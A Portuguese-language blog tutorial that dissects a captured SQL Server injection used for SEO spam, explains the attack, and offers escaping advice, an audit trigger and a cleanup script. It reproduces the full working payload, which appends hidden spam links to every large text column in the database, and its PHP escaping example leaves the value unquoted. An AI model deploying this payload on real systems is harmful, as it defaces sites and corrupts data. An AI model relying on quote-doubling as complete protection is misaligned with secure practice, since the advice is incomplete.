SELECT * FROM PRODUTOS WHERE ID=11871;declare @c cursor;declare @d varchar(4000);set @c=cursor for select 'update ['+TABLE_NAME+'] set ['+COLUMN_NAME+']=['+COLUMN_NAME+']+case ABS(CHECKSUM(NewId()))%7 when 0 then ''''+char(60)+''div style="display:none"''+char(62)+''i dreamed my wife cheated on me ''+char(60)+''a href="http:''+char(47)+char(47)+''www.cfrtu.org''+char(47)+''events.asp"''+char(62)+case ABS(CHECKSUM(NewId()))%3 when 0 then ''how to cheat with a married woman'' when 1 then ''link'' else ''husband cheated wife'' end +char(60)+char(47)+''a''+char(62)+'' dating for married people''+char(60)+char(47)+''div''+char(62)+'''' else '''' end' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid=0 or indid=1) and DATA_TYPE like '%varchar' and(CHARACTER_MAXIMUM_LENGTH=-1 or CHARACTER_MAXIMUM_LENGTH=2147483647);open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c-- AND ATIVO = 1;
Vamos entender o código do SPAM SEO, primeiro organizando o código e comentando cada ação:
/* Quebrou a linha do SQL anterior permitindo incluir uma nova transação SQL. */
;
/* Declarou uma variável de cursor com o nome @c */
declare @c cursor;
/* Declarou outra variável com tamanho de 4000 bytes de texto */
declare @d varchar(4000);
/* Configurando a variável @c para um código SELECT (que traz um resultado) */
set @c=cursor
for
select
/* Abaixo ele realiza uma ação de texto para o cursor, o SELECT irá responder com esta string.
Observe que ele cria uma ação de update onde pega sempre uma tabela, uma coluna, e adiciona código de texto randômico por módulo 7 (qualquer número módulo % 7, irá resultar em um número entre 0 e 6 fechado).
Char são funções que chamam caracteres da tabela ASCII.
Char(47) = ALT+47 (numpad) que é igual à: " / "
NewId() = Gera um número randômico no SQL Server.
*/
'update
['+TABLE_NAME+']
set ['+COLUMN_NAME+']=['+COLUMN_NAME+'] + case ABS(CHECKSUM( NewId() ) ) % 7 when 0 then ''''
+ char(60) + ''div style="display:none"''
+ char(62) + ''i dreamed my wife cheated on me ''
+ char(60) + ''a href="http:''
+ char(47) + char(47) + ''www.cfrtu.org''
+ char(47) + ''events.asp"''
+ char(62) + case ABS(CHECKSUM( NewId() ))%3 when 0 then ''how to cheat with a married woman'' when 1 then ''link'' else ''husband cheated wife'' end
+ char(60) + char(47) + ''a''
+ char(62) + '' dating for married people''
+ char(60) + char(47) + ''div''+char(62) + '''' else '''' end'
/* Aqui traz do engine do banco as tabelas e suas colunas existentes para completar a string acima com todas as tabelas no banco que são *varchar (nvarchar, varchar) de tamanho grande (para não falhar a inserção do código) */
FROM sysindexes AS i
INNER JOIN sysobjects AS o ON i.id=o.id
INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME
WHERE(indid=0 or indid=1)
and DATA_TYPE like '%varchar'
and(
CHARACTER_MAXIMUM_LENGTH=-1 or CHARACTER_MAXIMUM_LENGTH=2147483647
);
/* Aqui executa todas as ações que foram salvas na consulta acima para o cursor */
open @c;
fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);
fetch next from @c into @d;
end;
close @c--
E assim com os dois "--" finaliza a transação ignorando o restante do código que vier.
Prevenção - Evite que este ataque ocorra em seu site:
Verifique se seu site tem proteção específica em todos os campos de texto onde buscam informações no banco de dados, sempre prevenindo a seguinte questão:
Quando você faz uma programação, em qualquer linguagem, temos:
variavel = "SQLSQLSQLSQLSQL";
Nem sempre irá realizar uma consulta fixa, geralmente irá trazer alguma informação do usuário também.
categoria = "5"
variavel = "SELECT * FROM PRODUTOS WHERE CATEGORIA = " & categoria & ";";
variavel agora é
SELECT * FROM PRODUTOS WHERE CATEGORIA = 5;
Analisando que a variável categoria seja o seguinte:
categoria = "5; SELECT @@SPID "
variavel = "SELECT * FROM PRODUTOS WHERE CATEGORIA = " & categoria & ";";
Então agora você terá o seguinte conteúdo em sua variável:
SELECT * FROM PRODUTOS WHERE CATEGORIA = 5; SELECT @@SPID;
Isto irá gerar um erro, e consequentemente, você terá que tratar este erro.
1º: Nunca passe uma informação da Web direto para o banco. Verifique a tecnologia utilizada e procure por "Caracteres de Escape". No SQL Server, temos apenas as aspas simples (ufa), mas no MySQL, existem várias, pois é compatível com uma engine de escrita baseada em linguagem C.
VBScript:
categoria = "5; SELECT @@SPID "
categoria = replace( categoria , "'","''")
variavel = "SELECT * FROM PRODUTOS WHERE CATEGORIA = '" & categoria & "';";
PHP:
<?php
$categoria = "5; SELECT @@SPID ";
$categoria = str_replace( "'","''", $categoria );
$variavel = "SELECT * FROM PRODUTOS WHERE CATEGORIA = " . $categoria;
echo $variavel;
?>
Então sua variável irá retornar:
SELECT * FROM PRODUTOS WHERE CATEGORIA = '5; SELECT @@SPID ';
E de fato a categoria à ser buscada será uma categoria que jamais irá existir.
Sempre que algum evento suspeito ocorrer, o código SQL na íntegra será salvo na tabela "_LOGG".
Caracteres de escape MySQL Like (MySQL, PostgreSQL, Oracle, Unix databases)
Conforme documentação oficial do site MySQL, o código de escape para os seguintes caracteres abaixo são com uma barra em sua frente:
Table 9.1 Special Character Escape Sequences
Então leve isto em consideração pois há vários outros caracteres que necessitam de um controle especial para cada tipo de banco de dados.
Para SQL Server, como não há suporte para muitos destes caracteres, as aspas simples em dobro resolve o problema de SQL Injection.
Fui atacado, meu site está cheio destes textos, e agora?
Primeiro calmamente utilize as etapas e correção acima antes de corrigir seu banco, pois gastará mais tempo arrumando seu banco se vier novo ataque (e pode vir em qualquer momento!).
Não tenho ideia onde tem a vulnerabilidade de SQL Injection, o que faço?
Você pode fazer como nossa equipe, fizemos uma trigger para capturar todos os eventos de uma determinada tabela no que diz de include, update e delete, armazenando estes dados em uma outra tabela.
Segue código utilizado para auditoria na suposta tabela "Produtos":
USE [sua_base_de_dados]
CREATE TABLE _LOGG(id int not null primary key identity(1,1),EventType nvarchar(30),[Parameters] INT,EventInfo nvarchar(4000),data datetime)
GO
CREATE TRIGGER [dbo].[TRIGGER_AUDITORIA] ON [Produtos]
FOR INSERT, UPDATE, DELETE AS BEGIN
DECLARE @TEMP TABLE (EventType NVARCHAR(30), Parameters INT, EventInfo NVARCHAR(4000))
INSERT INTO @TEMP EXEC('DBCC INPUTBUFFER(@@SPID)')
INSERT INTO _LOGG
SELECT 'SeuTextoDeIdentificaçãoDestaTrigger', EventType, Parameters, EventInfo, getdate() FROM @TEMP
END
Tenho milhares de tabelas e dados, levaria dias para arrumar tudo, o que fazer?
Ok, vamos utilizar o "MESMO" script entretanto com algumas modificações (alguém já ouviu falar algo de atacar com o que te ataca?) pois você não tem tempo de ficar o dia todo caçando cada tabela e removendo cada item certo?
Entre no seu SQL Server e rode o seguinte script (desenvolvido pela Tutorial TI para SQL Server - testado com versão 2008 R2, mas pode funcionar em outras versões):
declare @c cursor; declare @d varchar(4000); set @c=cursor for select 'update ['+TABLE_NAME+'] set ['+COLUMN_NAME+']=case when charindex(''<div style="display:none"'',['+COLUMN_NAME+'])>0 then substring(['+COLUMN_NAME+'],0,charindex(''<div style="display:none"'',['+COLUMN_NAME+'])) else case when charindex(''<div style=display:none'',['+COLUMN_NAME+'])>0 then substring(['+COLUMN_NAME+'],0,charindex(''<div style=display:none'',['+COLUMN_NAME+'])) else ['+COLUMN_NAME+'] end end' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid=0 or indid=1) and DATA_TYPE like '%varchar' and(CHARACTER_MAXIMUM_LENGTH=-1 or CHARACTER_MAXIMUM_LENGTH=2147483647); open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c--
Então seu banco de dados estará livre dos códigos de SPAM que estavam lhe atormentando em milésimos de segundo, mas não esqueça que: Antes de corrigir seu banco, o ideal é achar a brecha de segurança e fechá-la antes que isto ocorra.
Nenhum comentário
Deixe seu comentário abaixo e curta Tutorial TI no facebook!